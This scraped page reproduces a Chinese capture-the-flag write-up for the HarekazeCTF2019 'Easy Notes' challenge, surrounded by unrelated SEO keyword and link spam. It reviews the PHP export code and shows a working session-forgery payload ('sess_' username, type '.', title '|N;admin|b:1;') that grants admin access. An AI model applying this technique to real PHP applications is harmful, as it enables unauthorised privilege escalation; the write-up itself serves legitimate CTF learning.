当前位置: 首页 > news >正文

网站开发合同违约责任网络运营可以自学吗

网站开发合同违约责任,网络运营可以自学吗,网站开发人员职位晋升空间,asp网站有的打不开文章目录 [HarekazeCTF2019]Easy Notes-代码审计 [HarekazeCTF2019]Easy Notes-代码审计 登录之后有几个功能点,可以添加节点,然后使用Export导出 我们查看源码, 我们发现想要拿到flag的条件时$_SESSION[admin]true 如果我们能够控制sessio…

文章目录

    • [HarekazeCTF2019]Easy Notes-代码审计

[HarekazeCTF2019]Easy Notes-代码审计

登录之后有几个功能点,可以添加节点,然后使用Export导出

image-20230824205806589

我们查看源码,

我们发现想要拿到flag的条件时$_SESSION['admin']=true

image-20230824210223434

如果我们能够控制session文件,就可以拿到flag了

image-20230824210445088

我们发现session存储的文件改为了:/var/www/tmp

重点看export.php

<?php
require_once('init.php');if (!is_logged_in()) {redirect('/?page=home');
}$notes = get_notes();if (!isset($_GET['type']) || empty($_GET['type'])) {$type = 'zip';
} else {$type = $_GET['type'];
}$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;if ($type === 'tar') {$archive = new PharData($path);$archive->startBuffering();
} else {// use zip as default$archive = new ZipArchive();$archive->open($path, ZIPARCHIVE::CREATE | ZipArchive::OVERWRITE);
}for ($index = 0; $index < count($notes); $index++) {$note = $notes[$index];$title = $note['title'];$title = preg_replace('/[^!-~]/', '-', $title);$title = preg_replace('#[/\\?*.]#', '-', $title); // delete suspicious characters$archive->addFromString("{$index}_{$title}.json", json_encode($note));
}if ($type === 'tar') {$archive->stopBuffering();
} else {$archive->close();
}header('Content-Disposition: attachment; filename="' . $filename . '";');
header('Content-Length: ' . filesize($path));
header('Content-Type: application/zip');
readfile($path);

这里可以看到,导出的文件也是写到/var/www/tmp目录下面,所以我们可以尝试session伪造一下,伪造一个session文件

$filename = get_user() . '-' . bin2hex(random_bytes(8)) . '.' . $type;
$filename = str_replace('..', '', $filename); // avoid path traversal
$path = TEMP_DIR . '/' . $filename;

get_user()会获取用户名,bin2hex(random_bytes(8))会生成16进制字符串,

如果我们用户名为sess_,并且$type=.,那么两个.会被替换为空,所以最终文件名就符合session文件的格式了,session文件名可控

那么看一下session内容可控吗:

$archive->addFromString("{$index}_{$title}.json", json_encode($note));

可控的

由于默认session_serialize_handler=php,那么序列化规则为:

处理器对应的存储格式
php键名 + 竖线 + 经过 serialize() 函数反序列处理的值

所以$_SESSION['admin']=true需要满足:

admin|b:1;

但是由于我们导出的文件中有一些内容,防止被污染,我们需要这么写:

|N;admin|b:1;

image-20230824211602859

添加之后导出:

/export.php?type=.

最后替换一下PHPSESSID为文件名:

image-20230824211719493

http://www.yayakq.cn/news/24381/

相关文章:

  • 那个网站做外贸最好wordpress替换表情变小
  • 做网站怎么建文件夹织梦和wordpress哪个好
  • 网站维护具体做啥如何对现有的网站改版
  • 做网站找模板去哪好建设网站要多久的时间
  • 大一学生做的网站网站优化北京
  • IT男网站建设网站怎么不要钱自己做
  • 广元建设机械网站创意设计与制作
  • 网站后台管理的超链接怎么做常见软件开发模型有哪些
  • 装修网站是怎么建设的网站工程师培训学校
  • 扬州外贸网站seo何炅做的网站广告
  • 中国建设网站用户名wordpress 三栏主题
  • 做网站怎么申请域名能通过淘宝网站做淘宝客吗
  • 网站流量怎么提升个人电商网站建设范例
  • 企业网站模板源码资源下载百度搜索优化费用
  • 玉林专业网站建设wordpress 电话插件
  • 网站建设专题页面专业找图片的网站
  • 菜鸟学做网站的步骤网站模板大全下载
  • wordpress 做大型网站短视频运营公司网站建设
  • 用jsp做校园网站法律建设企业网站
  • 付费抽奖网站怎么做绿色推广盒子app
  • ppt的网站导航栏怎么做的asp网站模板下载
  • 怎么开发软件挣钱青岛网站建设方案优化
  • 网站是怎么优化的网站前台后台哪个好
  • 常山网站建设怎么用PHP做网站留言板
  • 在线做试卷的网站平面设计到题目
  • 厦门建站最新消息上传文档网站开发
  • 深圳 网站建设建设部网站城市规划资质标准
  • 南京建设行政主管部门网站网站建设_制作_设计
  • 做我网站中铁建设集团有限公司梅洪亮
  • idc销售网站php源代码鹤壁建设网站推广公司电话